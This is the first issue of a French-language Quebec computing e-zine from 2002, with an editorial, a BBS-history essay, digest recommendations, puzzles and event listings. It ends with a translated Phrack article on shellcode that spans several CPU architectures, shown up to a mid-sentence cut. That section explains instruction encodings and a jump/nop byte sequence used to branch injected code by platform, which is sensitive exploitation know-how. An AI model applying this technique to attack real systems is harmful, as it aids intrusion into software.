--------------------------------------------------------------------------------
LJNB est un Journal avec un Nom Bidon                   http://journal.bidon.ca/
PubliŽ ˆ chaque 3e vendredi du mois                              ƒdition 2002.01
--------------------------------------------------------------------------------

                                                 Faites simple: aussi simple que
                                                   possible, mais pas simpliste.
                                                                       -Einstein


    LJNB est un mensuel traitant d'informatique. Pour vous abonner ou 
    dŽsabonner, consultez:   http://journal.bidon.ca/parcourrier.html


Table des mati�res
------------------

- Mot d'un Žditeur...........................................................bgm
- Les BBS et le futur.........................................................|R
- Les meilleurs "digests" du net.............................................bgm
- Nouvelles en bref.....................................................editeurs
- DŽfis.................................................................editeurs
- ƒvŽnements ˆ surveiller...............................................editeurs
- Courrier..............................................................editeurs
- Architecture Spanning Shellcode (traduit).......................enrique/eugene


  +------------------+
--| Mot d'un Žditeur |---------------------------------------------------(bgm)--
  +------------------+

  Bienvenue ˆ la premi�re Ždition de ce journal! Comme le sugg�re la citation 
ci-dessus d'Albert Einstein, notre journal se veut simple, sans nŽcessairement 
�tre un bout de chiffon Žlectronique. Cet article contient un court rŽsumŽ sur
qui nous sommes, le contenu et les objectifs de ce journal.

  Ce journal a ŽtŽ fondŽ suite ˆ une discussion sur le forum de 2600 MontrŽal
apr�s avoir constatŽ qu'il y avait un grand vide du c™tŽ des journaux franco-
phones portant sur l'informatique (programmation, syst�mes d'exploitations, 
rŽseautique, sŽcuritŽ, etc.), plus particuli�rement au QuŽbec, sans nŽcessai-
rement s'y limiter.

  Il existe de nombreux groupes informatiques vraiment intŽressants, mais ils 
ne se parlent pas, ne s'affichent pas (vous tomberez peut-�tre sur leur site web
par hasard) et ils sont gŽnŽralement complŽmentaires. C'est l'antipode de 
l'Žpoque o� une panoplie de BBS (avant 1994) formaient une toile de communautŽs
reliŽes par des forums de discussions, des jeux (doors), des partages de 
fichiers (qui contenaient des pubs), etc.

  C'est pourquoi nous insisterons ˆ parler rŽguli�rement de ce qui se produit
dans les diverses associations quŽbŽcoises et aussi dans les milieux acadŽmi-
ques. Au fait, gŽnŽralement les gens me trouvent Žtrange de vouloir parler des
milieux acadŽmiques, mais il pourrait �tre intŽressant de savoir quels genres 
de projets se font dans une universitŽ ou dans un CŽgep par rapport ˆ d'autres.
Par exemple, le dŽpartement de Physique de l'UniversitŽ de Sherbrooke poss�de
une grappe de calcul (cluster) Linux et ils ont plusieurs projets futurs dans 
la m�me veine en dŽveloppement. L'UniversitŽ de MontrŽal poss�de des solutions
Žquivalentes, mais avec plusieurs variantes qui pourraient �tre le sujet d'une
comparaison intŽressante. Les milieux acadŽmiques habritent gŽnŽralement des
situations intŽressantes parce qu'ils sont souvent sŽv�rement critiquŽs par les
Žtudiants fouineux.

  Les Žditeurs de ce journal proviennent tous de milieux diffŽrents et que ce 
soit par des Žditoriaux, des articles techniques ou des "plugs", nous voulons 
que l'information circule dans ce paradis bureaucratique qu'est devenu le 
QuŽbec. Le plus souvent possible, nous n'essayerons pas de re-inventer la roue,
mais plut™t de lui donner un peu d'Žnergie pour qu'elle roule.

  Nous avons dŽcidŽ de publier ˆ chaque 3e vendredi du mois pour nous permettre
de publier de l'information sur les ŽvŽnements ˆ venir (le mois suivant) et
en attendant la parution de notre prochaine Ždition, nous vous proposons de
petits dŽfis sur des sujets variŽs tournant autour de la programmation et 
l'encryption.

  Si vous �tes intŽressŽs ˆ publier des articles (techniques ou Žditoriaux), 
lancer des dŽfis ou faire passer des annonces, contactez-nous par courrier ˆ
editeurs@journal.bidon.ca. ƒvidemment, nous vous encourageons aussi ˆ nous 
envoyer vos commentaires et suggestions.

Sur ce, bonne lecture!
bgm (aka mathieu)

Pour rejoindre les Žditeurs: editeurs at bidon.ca
Pour me rejoindre: bgm at bidon.ca


  +---------------------+
--| Les BBS et le futur |-------------------------------------------------(|R)--
  +---------------------+

Premi�rement j'aimerais fŽliciter tout le monde pour ce premier numŽro, j'esp�re
que nous aurons la capacitŽ de continuer ˆ ce rythme...

Bon, pour ce qui est de mon article, je voulais vous parler des BBS. Certains
dirons que c'est par nostalgie, mais je pense qu'il est important de comprendre
d'o� vient cette culture, ce qu'il en reste et o� elle se dirige pour comprendre
le monde de l'informatique actuel.

Je n'avais peut-�tre qu'entre 10 et 14 ans ˆ l'Žpoque mais je me souviens de
beaucoup de moments qui m'ont marquŽ... ne serait-ce que la premi�re connection
ˆ un BBS d'un ami ou encore tŽlŽcharger la liste de juxtaposition BBS ((514)
364-2937) et me rendre compte du vaste monde qui m'attendait et le plus vaste
monde encore que je n'ai jamais pu enti�rement explorer.

Consultez http://www.textfiles.com pour en apprendre davantage sur toutes les
histoires qui se sont passŽes ˆ cette Žpoque.

Au-delˆ des faits les plus intŽressants, on retrouve plus globalement une
mentalitŽ qui prŽdominait ˆ l'Žpoque.
Comme les BBS Žtaient ˆ quelques exceptions pr�s ˆ 100% entretenus par des 
accros, on avait ˆ peu pr�s toujours la possibilitŽ de "pager" le "sysop" 
(System Operator) et discuter avec lui des sujets du jour, des rumeurs ou des
modifications aux derniers logiciels de BBS bien sžr :-). C'Žtait un mode de vie
qui ouvrait les gens ˆ la discussion, les poussait ˆ interagir davantage et ˆ
contribuer pour Žtablir quelque chose ensemble. Cet Žcosyst�me avait, comme tout
Žcosyst�me, ses zones grises et ses prŽdateurs, mais globalement les groupes
Žtant plus petits, cela permettait un meilleur fonctionnement de ses entitŽs,
depuis perdues dans la masse de l'internet.

Peut �tre qu'un des aspects m'ayant le plus touchŽ a ŽtŽ la capacitŽ de
transfŽrer des MODs, la musique. Plusieurs diront peut �tre que les MP3 font
�a beaucoup mieux que les pauvres .MOD, mais les MODs avaient quelque chose de
spŽcial, leur beautŽ rŽsidait dans le fait qu'ils Žtaient Žcrits par des
programmeurs et des musiciens et donnŽs gratuitement ˆ la communautŽ pour le
bŽnŽfice de tous et du phŽnom�ne lui-m�me. Ces MODs (et autres formats venus
plus tard: .S3M, .XSM, etc.) Žtaient souvent des chansons connues qui Žtaient
ŽchantillonnŽes et rejouŽes par un artiste inconnu qui y rajoutait souvent sa
touche personnelle... c'Žtait en quelque sorte du code source libre musical.

Bien sžr, ce n'est pas la premi�re chose que l'on dŽcouvre sur un BBS mais
plut™t un acc�s de chez soi ˆ une communautŽ locale traitant de diverses sujets.
Je crois que c'est lˆ que les premi�res formes de netiquettes (Žthique sur 
Internet) sont apparues hors des milieux scientifiques (maintenant oubliŽes ou
mŽconnues par 99.9% des gens). C'est lˆ que le public a pu commencer ˆ s'initier
au merveilleux monde des rŽseaux et se devait de respecter les gens dŽjˆ 
Žtablis dans ces communautŽs.

On peut penser que ce n'Žtait qu'une seule machine avec quelques modems et un
service plut™t simple. Mais plusieurs BBSs d'une rŽgion donnŽe Žtaient souvent
reliŽs par des syst�mes qui, la nuit venue, s'appelaient pour s'Žchanger les
nouvelles du jours. Cela tissait donc une toile assez vaste, beaucoup plus
importante que ce que l'on peut imaginer. (Et tout �a bŽnŽvolement pour la
plus part, d'o� la grande qualitŽ du service et le plaisir qu'on avait ˆ
l'utiliser!)

Quand on regarde ce qui reste des BBSs aujourd'hui, on remarque quand m�me que
leurs consŽquences ont ŽtŽ assez grandes sur le dŽbut de l'internet grand
publique (92-95). Et pour Žviter de tomber dans les m�mes probl�mes qu'ont
subit les CB, les BBS, les newsgroups, les forums web, (tous non modŽrŽs)
etc... je pense qu'il faudra trouver un moyen de donner plus de pouvoir aux
gens tout en tentant bien sžr de les responsabiliser le plus possible. Il
faudrait crŽer un rŽseau o� les gens se sentent comme faisant partie
intŽgrante du rŽseau et o� ils voudront d'eux m�me y contribuer et le
respecter.

ƒvidemment, plus un syst�me grandit, plus il est difficile de maintenir un
niveau de proximitŽ suffisant pour permettre ˆ tous d'intŽragir ensemble de 
fa�on constructive. Depuis quelques temps, "diviser pour rŽgner" devient la 
formule prŽfŽrŽe des sites web commerciaux qui prennent malheureusement un peu
trop de place. (Vive le temps des pages webs simples et directes) Le but n'est
pas d'unifier la pensŽ des gens vers un but commun, au contraire, mais bien de
crŽer une respect mutuel et un espace o� tous peuvent avoir la chance de
s'exprimer.

Je crois que ce sont les dŽfis qui nous attendent tous. Peut-�tre que la
solution rŽside dans une nouvelle fa�on de reprŽsenter l'information et que
les BBS d'hier rena”trons sous une nouvelle forme demain. Pour cela un rŽseau
distribuŽ qui donne un avantage aux participants serait intŽressant ˆ
conceptualiser.

Plusieurs projets d'infrastructes ont ŽtŽ pensŽs dans cette veine, de fa�on ˆ
redonner du pouvoir au public dans le rŽseau. Certains sont dŽjˆ ˆ l'Žtape
d'�tre dŽployŽs, mais voici quelques un des plus intŽrŽssants:

http://www.risq.qc.ca/activites : Fibre noire au RISQ (Fibre appartenant aux
Žtablissements et Žventuellement aux villes et aux individus)

http://www.seattlewireless.net/ : Seattle Wireless: rŽseau appartenant ˆ la
communautŽ.

Liens sur les BBSs de montrŽal:
- Juxtaposition 1993: http://www.textfiles.com/holdbin/MISC3/bbs0723.txt
- Juxtaposition 1999: http://www.multimania.com/plq/bslist1.txt
- Autre liste: http://bbslist.textfiles.com/514/

Alexandre GuŽdon aka |R


  +--------------------------------+
--| Les meilleurs "digests" du net |-------------------------------------(bgm)--
  +--------------------------------+

  Internet a permit ˆ des gens avec des intŽr�ts diversifiŽs de se regrouper 
pour discuter, ce qui a donnŽ lieu ˆ plusieurs projets et communautŽs fonction-
nant ˆ l'aide de listes de diffusion (e-mail). Par contre, beaucoup de listes,
comme celles traitant de syst�mes d'exploitation ou de sŽcuritŽ, ont tendance ˆ
avoir un achalandage souvent trop ŽlevŽ pour que l'on ait le temps de tout lire
le matin en buvant son cafŽ.

  C'est pour rŽpondre ˆ ce probl�me que des "digests" modŽrŽs (regroupement de
plusieurs messages en un seul) ont vu le jour. La majoritŽ sont hebdomadaires
ou mensuels et nous permettent d'�tre au courant d'un sujet donnŽ en peu de
temps. En voici une petite liste:

- Kernel Traffic: http://kt.zork.net/kernel-traffic/ - hebdomadaire

  RŽsumŽs des discussions de "Linux Kernel Mailing-List" (lkml) o�, en pŽriode 
  de dŽbats (presque tout le temps), il peut facilement y avoir 1 message par 
  minute.

- Crypto-gram: http://www.counterpane.com/crypto-gram.html - mensuel

  ƒditoriaux de Bruce Schneier (auteur de Applied Cryptography) sur la sŽcuritŽ 
  et l'encryption. Contient Žgalement une section "nouvelles" qui inclue une
  tonne de liens vers des articles intŽressants (dŽfinitivement mieux que 
  Slashdot.org).

- RISKS digest: http://www.csl.sri.com/users/risko/risksinfo.html - bi-hebdo

  Les meilleurs messages du newsgroup comp.risks o� il est gŽnŽralement sujet de
  risques prŽsents avec certaines technologies ou les consŽquences de technolo-
  gies disfonctionnelles. Les sujets peuvent varier de la sŽcuritŽ d'un serveur
  au fonctionnement de trains automatisŽs. J'aime bien cette liste parce qu'elle
  n'est pas centrŽe sur les ƒtats-Unis.

- Politech: http://www.politechbot.com/ - 3-5 par jour

  ModŽrŽe par Duclan McCullagh, la liste diffuse des articles reliŽes ˆ la 
  politique et la technologie. Par contre, ce sont gŽnŽralement que des articles
  sur les ƒtats-Unis.

- Kernel Cousin
    .. Debian Hurd: http://kt.zork.net/debian-hurd/index.html
    .. Wine: http://kt.zork.net/wine/index.html
    .. KDE: http://kt.zork.net/kde/index.html
    .. Debian: http://kt.zork.net/debian/index.html

  M�me principe que Kernel Traffic (d'o� le nom "kernel cousin").

- Debian Weekly News: http://www.debian.org/News/weekly/ - hebdomadaire

  RŽsumŽ du projet Debian GNU/Linux et de sa 50aine de listes de diffusion. 
  Inclue des rŽsumŽs du dŽveloppement et des nouveaux paquets disponibles dans
  "unstable".

- Linux Weekly News: http://www.lwn.net/ - hebdomadaire

  Nouvelles et Žditoriaux sur les sujets reliŽs ˆ Linux. Disponible que par leur
  site web, mais vaut la peine puisqu'ils font un bon survol de l'actualitŽe 
  reliŽe ˆ Linux et au Logiciel Libre ˆ chaque semaine.

Bref, les listes de diffusion modŽrŽes sont un bon moyen de se tenir au courant
d'un projet ou d'un sujet en particulier sans �tre saturŽ par le niveau de 
traffic sur les listes. Si vous connaissez des listes du m�me genre que j'ai
oubliŽ de mentionner, contactez les Žditeurs: editeurs@journal.bidon.ca.

bgm (aka mathieu)


  +-------------------+
--| Nouvelles en bref |---------------------------------------------(editeurs)--
  +-------------------+

Cette section publie des nouvelles de milieux communautaires ou acadŽmiques 
reliŽes au th�me de ce journal.  Si vous avez une nouvelle intŽressante ˆ 
contribuer, contactez-nous: editeurs@journal.bidon.ca

- 07 janvier 2002 [contribuŽ par bgm]

  Publication du gulus_news #0xAh sur le site du Groupe d'Usagers Linux de 
  l'UniversitŽ de Sherbrooke (GULUS). L'Ždition contient un mot du prŽsident sur
  la nouvelle orientation du Gulus (qui est maintenant incorporŽ), un texte sur
  ctags, une critique du jeu "Heroes" (qui serait une re-invention de Nibbles),
  comment Žcouter des DivX sous Linux et un bon rŽsumŽ sur la prochaine version
  du gestionnaire de fen�tres X d'Enlightenment (E17).
  + DŽtails: http://www.gulus.org/index.php?mod=publications

- 16 janvier 2002 [contribuŽ par bgm]

  Linux-QuŽbec (ˆ MontrŽal) est en pleine restructuration, un proc�s verbal de
  la rŽunion qui a eu lieu le samedi 12 janvier 2002 a ŽtŽ publiŽ sur le forum
  de LQ.
  + DŽtails: http://www.linux-quebec.org/archives/general/msg03112.html

  +-------+
--| DŽfis |---------------------------------------------------------(editeurs)--
  +-------+

  Chaque mois, nous vous proposerons des dŽfis sur des sujets variŽs, puis, le
mois suivant, nous publierons les solutions les plus intŽressantes parmis celles
que nous aurons re�u, tout dŽpendant de la simplicitŽ ou originalitŽ du code 
source, ou des rŽsultats.
  Envoyez-nous vos solutions par courrier ˆ editeurs@journal.bidon.ca avec les
mots "dŽfi: nom_du_dŽfi" dans le sujet. Consultez la section dŽfi sur notre site
web (http://journal.bidon.ca/defi/) pour plus de dŽtails (surtout ˆ propos des
contraintes) et pour des mise ˆ jour (prŽcisions, indices, etc.) s'il y a lieu.
  Ces dŽfis devraient �tre vus comme un Žquivalent ˆ des mots croisŽs dans un
journal conventionnel, i.e. une source de divertissement.

++ (200201_01) DŽfi d'encryption:

- ProposŽ par: guillaume
- Niveau de difficultŽ: relativement facile.
- Objectif: DŽchiffrer un texte cryptŽ selon l'algorithme suivant
    - Substitution sur le texte original
    - Permutation des caract�res apr�s dŽcoupage du texte en blocs
      L'objectif est donc de trouver la valeur utilisŽe pour la substitution
      ainsi que la valeur des blocs ayant conduit ˆ la permutation.

- Par exemple, soit le texte en clair suivant:

        Ceci est un exemple didactique

  Si nous utilisons un dŽcalage de 1, le texte devient:

        Dfdj!ftu!vo!fyfnqmf!ejebdujrvf

  Ensuite, si nous utilisons des blocs de 5 caract�res, nous obtiendrons le 
  texte suivant:

        Dfdj!
        ftu!v
        o!fyf
        nqmf!
        ejebd
        ujrvf

  Finalement, la permutation va consister ˆ prendre les premiers caract�res de 
  chaque bloc, puis les second, etc..

        Dfoneuft!qjjdufmerj!yfbv!vf!df

  Si le texte en clair contient un nombre de caract�res non divisible par la 
  taille d'un bloc, le dernier bloc sera rempli par des espaces. Par exemple:

        Bonjour

  avec des blocs de taille 3 et une substitution de 1 nous obtenons:

        Bon      Cpo
        jou  ->  kpv  ->  Ckspp!ov!
        r        s!!

- Le dŽfi consiste ˆ trouver la valeur de dŽcalage et la taille des blocs pour
  dŽcrypter le texte.
- Vous trouverez le texte cryptŽ sur notre site web: 
  http://journal.bidon.ca/defi/crypt/

- Indices: Nous utilisons le jeu de caract�res ISO 8859-1.
           Le texte ˆ dŽcoder est extrait d'un roman en fran�ais.

++ (200201_02) La spirale:

- ProposŽ par: bgm
- Niveau de difficultŽ: relativement facile, pas trop long
- Objectif: Dessiner une spirale rectangulaire dans une fen�tre texte (console)
            ou graphique (X11). La crŽation de la spirale doit �tre progressive 
            et visible ˆ l'oeil.
- Par exemple, remplir l'Žcran ˆ partir du point (0,0) -> (24,0) -> (24,80) ->
  (0,80) -> (0,1) -> (24,1) -> (24,79) -> (1,79) -> ... -> (centre)
  L'Žcran doit �tre rectangulaire, comme dans le cas d'une console 24x80.
  Un exemple en ascii est disponible sur notre site web (section dŽfi).
- Indices: La solution se code difficilement en console ˆ moins d'utiliser la
           librairie ncurses. Ma solution ˆ mon dŽfi Žtait ma premi�re
           expŽrience avec ncurses et je me suis debrouillŽ assez facilement.
           Pour les tr�s perdus, consultez notre site web pour des pistes.
- Bonus: Pour rendre le dŽfi plus intŽressant, essayez d'avoir un algorithme le
  plus petit possible qui permet ˆ la spirale de revenir sur ses pas une fois
  complŽtŽe.

++ Contraintes gŽnŽrales s'appliquant ˆ tous les dŽfis de programmation:

- Langages acceptŽs: C, C++, Perl, Python, Java
- Inscrire en commentaire la ligne de compilation (m�me si c'est bidon) et 
  votre adresse e-mail dans l'ent�te de votre programme.
- Librairies C/C++ permises: ncurses, Xlib, GTK, QT, Mesa / OpenGL.
- Svp ne pas utiliser de dŽpendances que nous aurons probablement pas sur notre
  syst�me, surtout si la solution est en Perl/Python/Java.
  (plus de dŽtails: http://journal.bidon.ca/defi/contraintes.html)


  +-------------------------+
--| ƒvŽnements ˆ surveiller |---------------------------------------(editeurs)--
  +-------------------------+

Vendredi 1er fŽvrier:
- [Mtl] 2600 MontrŽal @17H00: RŽunion mensuelle. Discussions informelles reliŽes
  ˆ l'informatique. Dans la cafŽ du 1000 Gaucheti�re (mŽtro Bonaventure), pr�s
  du Dunkin Donuts. - Bilingue - Gratuit et ouvert ˆ tous.
  + DŽtails: http://www.mtl2600.org/reunions/

- [Qc] 2600 QuŽbec @18H00: RŽunion mensuelle. Discussions informelles reliŽes ˆ
  l'informatique. Dans la cafŽ de la Place Laurier (ˆ Sainte-Foy), 3e Žtage
  o� il y a le "fast food". - Francophone - Qc - Gratuit et ouvert ˆ tous.
  + DŽtails: http://qc2600.bidon.ca/ ou http://qc.mtl2600.org/

Jeudi 7 fŽvrier:
- [Mtl] Perl Mongers @18H00: PrŽsentation sur un sujet reliŽ ˆ Perl (pas encore 
  annoncŽ, consultez leur site web). Chez HBE Software, au 460 Ste-Catherine
  O, Suite 210 (mŽtro McGill) - Bilingue - Gratuit et ouvert ˆ tous.
  + DŽtails: http://montreal.pm.org/

Vendredi 8 fŽvrier:
- [Mtl] Montreal LUG @19H00: PrŽsentation sur un sujet reliŽ ˆ Linux (pas encore
  annoncŽ, consultez leur site web) et discussion gŽnŽrale sur Linux. Au CŽgep 
  Vanier (mŽtro C™te Vertu), local F223 - Anglophone - Gratuit et ouvert ˆ tous.
  + DŽtails: http://www.mlug.ca/ (contient un plan dŽtaillŽ pour les directions)

Samedi 16 fŽvrier: (pas confirmŽ, pourrait �tre le samedi 2 fŽvrier)
- [Sherb] Festival d'Utilisation du Gulus de 12h00 ˆ 16H00: Parall�lement aux
  traditionnelles installations de Linux offertes au public (par des bŽnŽvoles),
  il y aura des prŽsentations sur "Linux dans les Entreprises", "LaTeX / LyX", 
  et les grappes de calcul (clusters) Linux (qui servira d'intro ˆ un futur 
  ŽvŽnement du Gulus) - Francophone - Gratuit et ouvert ˆ tous.
  + DŽtails: http://www.gulus.org/

Mercredi 13 fŽvrier:
- [Qc] Linuq @19H00: Pas encore confirmŽ et dŽtails pas encore affichŽs sur leur
  site web. Dans les locaux de l'UniversitŽ Laval - Francophone - Faut �tre 
  membre (leur site n'est pas tr�s clair, contactez-nous si vous avez des infos)
  + DŽtails: http://www.linuq.org/

Mardi 19 fŽvrier:
- [Mtl] Linux-QuŽbec @17H00: PrŽsentation "Linux dans les entreprises" par 
  Dominic Duval. Contrairement ˆ d'habitude, la prŽsentation aura lieu au CRIM 
  (550 rue Sherbrooke O., bur 110) - Francophone - Gratuit et ouvert ˆ tous.
  + DŽtails: http://www.linux-quebec.org/Rencontres.html


Vous avez un ŽvŽnement ˆ signaler? Contactez-nous: editeurs@journal.bidon.ca


  +----------+
--| Courrier |------------------------------------------------------(editeurs)--
  +----------+

Pas de courrier ce mois-ci. 
Envoyez-nous vos commentaires et suggestions: editeurs@journal.bidon.ca


  +---------------------------------+
--| Architecture Spanning Shellcode |----------------------( enrique / eugene)--
  +---------------------------------+

[ NDLR: Nos excuses ˆ Enrique si son article est ˆ la toute fin du journal. Cet 
article est excellent, mais puisqu'il est plut™t long (ˆ cause du code inclu),
nous n'avions pas vraiment le choix. ]

Pour le premier numŽro du journal, j'ai dŽcidŽ de traduire Architecture Spanning
Shellcode paru dans Phrack 57. Qui sait, par la suite il y aura mati�re ˆ  
approfondir pour chaque architecture. Merci ˆ tous ceux qui ont participŽ ˆ la
premi�re Ždition et ˆ vous qui la lisez :)  Pour tout commentaire, la fa�on la 
plus simple est par mail: enrique at bidon dot ca. Si vous avez des questions 
spŽcifiques je vous conseille de les poser a l'auteur.


Architecture Spanning Shellcode
eugene@gravitino.net


Introduction
------------

Durant le caezar's challenge [1] ˆ Defcon8, il fut posŽ comme colle d'Žcrire un 
shellcode qui fonctionnerait sur au moins deux architectures diffŽrentes. Voici
donc ma solution. N'oubliez pas de regarder les crŽdits a la fin.

  L'idŽe gŽnŽrale derri�re l' "Architecture Spanning Shellcode" est de trouver
une sŽquence de bytes qui exŽcutent un jump sur une architecture et qui sur une
autre exŽcute une instruction de type nop. De cette fa�on, nous pouvons brancher
ˆ du code specifique pour l'architecture dŽpendant la plate-forme sur laquelle 
nous nous trouvons.

  Voici en ASCII la reprŽsentation de notre flux d'octets:

XXX
arch1 shellcode
arch2 shellcode

  O� XXX est la sŽquence d'octets qui va nous permettre de brancher sur le 
shell code la deuxi�me architecture (arch2 shellcode) et nous faire passer au
shell code de la premi�re architecture (arch1 shellcode) quand nous serons sur
cette derni�re.

  Si nous aurions le besoin d'ajouter plus de plate-formes, nous n'aurions qu'ˆ
ajouter d'autres instructions jump/nop pour chaque plate-forme supplŽmentaires.


Architecture MIPS
-----------------

  Une br�ve introduction sur l'architecture et l'Žcriture de shell code MIPS a
ŽtŽ rŽdigŽ par scut dans phrack56 [2] ainsi que dans un document des gens chez 
LSD[8].

  La seule chose qui vaut la peine d'�tre rŽp�tŽe ici est le format gŽnŽral des
instructions MIPS. Toutes les instructions MIPS occupent 32 bits et les six bits
les plus significatifs spŽcifient l'instruction opcode [6][7]. Il y a 3 formats
d'instruction: I-Type (immediate), J-Type (Jump) et R-Type (Register). Puisque 
nous recherchons des instructions de type nop, nous serons attirŽs plus particu-
li�rement par les types d'instruction I et R, dont le format est dŽcrit ci-
dessous.

Format d'instruction I-Type:

  31 30 29 28 27 26|25 24 23 22 21| 20 19 18 17 16| 15 .. 0
          op       |       rs     |        rt     | immŽdiat

Les Champs sont:
       op        6 bits: code d'opŽration
       rs        5 bits: identificateur du registre source
       rt        5 bits: destination (src/dest) ou condition de branchement
       immŽdiat  16 bits: immŽdiat, adresse de branchement ou dŽplacement


Format d'instruction R-Type:

  31 30 29 28 27 26|25 24 23 22 21| 20 19 18 17 16| 15 14 131211|109876|5..0
          op       |       rs     |        rt     |      rd     | shamt|funct

Les Champs sont:
       op        6 bits: code d'opŽration
       rs        5 bits: registre source
       rt        5 bits: destination (src/dest) ou condition de branchement
       rd        5 bits: registre de destination
       shamt     5 bits: shift amount
       funct     6 bits: champ de la fonction


Architecture Sparc
------------------

  Semblable au MIPS, Sparc est une architecture basŽe sur RISC. Toutes les 
instructions font 32 bits et les 2 bits les plus significatifs spŽcifient la
classe de l'instruction [4].

 op Classe d'instruction (code-op)

 00 Instruction de branchement
 01 Instruction d'appel (call instruction)
 10 Format Three instructions (type 1) - instrs arithmŽtiques et logiques
 11 Format Three instructions (type 2) - instrs de chargement/dŽpot (load/store)

  Les "call instruction" contiennent un code-op "01" suivit d'une adresse de 30
bits. M�me si c'est l'instruction optimale ˆ utiliser, vu que nous contr™lons 30
des 32 bits. Nous ne pourrons le faire, car les jumps ne sont pas relatifs et 
ont tendance ˆ contenir 0 octets.

  Les "Format Three instructions" de type 2 sont pour la plus part des 
instructions de chargement/dŽpot qui ne nous sont pas tr�s utiles, car nous 
sommes ˆ la recherche d'instructions nop qui sont inoffensives. Nous ne voulons
surtout pas utiliser quelque chose qui puisse faire "planter" notre application
(SIGENV dans le cas d'un chargement/dŽpot illŽgal).

  Ce qui nous laisse avec les instructions de branchement et les "Format Three 
instructions" de type 1. Voici dont le format de "Format Three instructions":

  31 30 |29 28 27 26 25|24 23 22 21 20 19|18 17 16 15 14|13|12 11 10 9 8 7..0
    op  |       rd     |      op3        |       rs1    |01|    rs2 / imm

Les Champs sont:
  op         2 bits: classe d'instruction (code-op: 10)
  rd         5 bits: registre de destination
  op3        5 bits: instruction
  rs1        5 bits: registre source
  0/1        1 bits: immŽdiat / deuxi�me registre source
  rs2/imm   13 bits: soit un deuxi�me registre source ou un immŽdiat (constante)
                     dŽpend de l'option "0/1"

  Les plus intŽressantes (sans danger) des "Format Three instructions" sont: 
add, and, or, xor et sll/srl (spŽcifiŽs par des bits op3).

Voici le format de "Branch instructions":

  31 30 |29|28 27 26 25|24 23 22|21 .. 0
    op  |a | condition |   op2  |dŽplacement

Les Champs sont:
  op             2 bits:  classe d'opŽration (code-op: 00)
  a              1 bit:   option d'annulation (annulled flag)
  condition      5 bits:  condition de branchement: ba, bn, bl, ble, be, etc
                          (ba = branch always, bl = branch less, etc.)
  op2            3 bits:  code de condition (pour les int (entiers), c'est 010,
                                             pour les floats, c'est 110)
  displacement   22 bits: adresse de dŽplacement

  Comme vous pouvez voir, beaucoup de ces champs ont dŽjˆ des valeurs prŽ-
definies que nous devrons contourner.


Architecture PPC
-----------------

  Le PowerPC est une autre architecture RISC utilisŽe par des compagnies telles
que IBM et Apple. Voir le document d'LSD pour plus d'informations [8].


Architecture x86
----------------

  Le sujet entourant les "buffer overflows" et les "shellcodes" sur les x86 a
ŽtŽ traite de fa�on approfondie dans le passŽ. Pour une bonne introduction, 
rŽfŽrez vous au texte de Aleph1 dans phrack 49 [3].

  Je vais juste Žtendre un peu en montrant du code x86 qui acceptŽ par plusieurs
syst�mes d'exploitation. L'idŽe derri�re "OS Spanning Shellcode" est d'arranger 
tous les registres et piles (stack) de fa�on ˆ remplir tous les besoins des 
syst�mes d'exploitation o� nos "shellcodes" vont s'exŽcuter. Par exemple, BSD 
passe ses param�tres par la pile, tandis que Linux utilise des registres (pour 
passer des arguments aux "syscalls"). Donc, si nous utilisons ces deux mŽcanis-
mes, alors notre code fonctionnera autant sur BSD que Linux. Le seul probl�me,
c'est que BSD et Linux utilisent des numŽros "syscall" diffŽrents pour l'appel
execve(). Linux utilise le numŽro de "syscall" 0xb, tandis que BSD utilise 0x3b.
Pour contourner ce probl�me, nous devons faire la distinction entre les deux 
syst�mes au moment de l'exŽcution. Il existe plusieurs fa�ons de le faire, tel 
que analyser la mŽthode avec laquelle les segments sont "mappŽs", analyser la 
technique utilisŽe pour placer les "segment registers", etc. J'ai choisi d'ana-
lyser les "segment registers" puisque c'est la methode la plus robuste. Par
exemple, sur Linux les "segment register" fs et gs sont 0 (en mode utilisateur)
tandis que dans les syst�mes BSD, ils ont des valeurs diffŽrentes de zŽro (0x1f
pour OpenBSD et 0x2f pour FreeBSD). Nous pouvons utiliser ces diffŽrences pour
diffŽrencier les deux syst�mes. Voir la section "Ajouter plus d'architectures"
pour un exemple.

  Une autre fa�on de traiter les numŽros de syscall est d'ignorer un signal 
SIGSYS "invalid system call" et juste essayer divers numŽros de "syscall" si le
premier appel execve() a ŽchouŽ. M�me si cette mŽthode fonctionne, elle est 
limitŽe, car elle ne fonctionne pas sur des syst�mes tels que la Solaris x86 qui
n'utilise pas la "trap gate" 0x80.

  Notez que l' "OS Spanning" Shellcode n'est certainement pas restreint ˆ x86, 
la m�me idŽe peut �tre implŽmentŽe dans n'importe quelle plate-forme matŽrielle
et avec n'importe quel syst�me d'operation.


Assemblage du "OS Spanning Shellcode"
------------------------------------

Tel que mentionnŽ plus haut, notre shellcode (premier essai) aura l'air de ceci:
 
XXX
arch1 shellcode
arch2 shellcode

o� XXX est une cha”ne de bits spŽcialement crŽe qui exŽcute diffŽrentes 
instructions sur deux plat-formes diffŽrentes.

  Quand j'ai commencŽ ˆ chercher une cha”ne de bits XXX qui fonctionnerait, 
j'ai pris une instruction "short jump" x86 et j'ai essayŽ de la dŽcoder dans une
machine Sun. Vu que le premier octet dans un short jump est 0xEB (donc la plus 
part sont des '1') [5], l'instruction fut transformŽe en une instruction "format
three" de Sparc assez bizarre. Mon deuxi�me essai Žtait de prendre un jump de 
Sparc et le dŽcoder dans x86. Cette idŽe fonctionna presque, mais je fut incapa-
ble de dŽcoder le jump de Sparc dans une instruction xor de type nop sur x86 ˆ 
cause d'un dŽcalage d'un bit. Le prochain essai consistait ˆ padder une instruc-
tion jump de x86. Vu que les short jumps de x86 est d'une longueur de 2 octets 
et que toutes les instructions de Sparc ont 4 octets, j'avais 2 octets avec 
lesquels je pouvais jouer. Je savais que je devais insŽrer quelques octets 
devant le jump 0xEB pour que �a dŽcode dans une instruction raisonnable dans 
Sparc. Pour les octets que j'allais utiliser comme coussin, je choisis des 
octets de nop 0x90 de x86, ce qui s'avŽra un bon choix, car ils sont constituŽs
pour la plus part de 0. Donc mon flux d'instructions finit par ressembler ˆ:

  \x90\x90\xeb\x30

O� 0x90 sont les instructions nop de x86, 0xEB est le opcode d'un short jump et
0x30 est un jump avec un offset de 48 octets. Voici donc en quoi fut dŽcodŽ la
cha”ne de bits sur Sun:

  (gdb) x 0x1054c
  0x1054c <main+20>:      0x9090eb30

  (gdb) x/t 0x1054c
  0x1054c <main+20>:      10010000100100001110101100110000

  (gdb) x/i 0x1054c
  0x1054c <main+20>:      orcc  %g3, 0xb30, %o0

  Comme on peut le voir, notre cha”ne se bits se dŽcode en une instruction "or"
de "Format Three", qui n'est pas dangereuse, en plus de corrompre le registre 
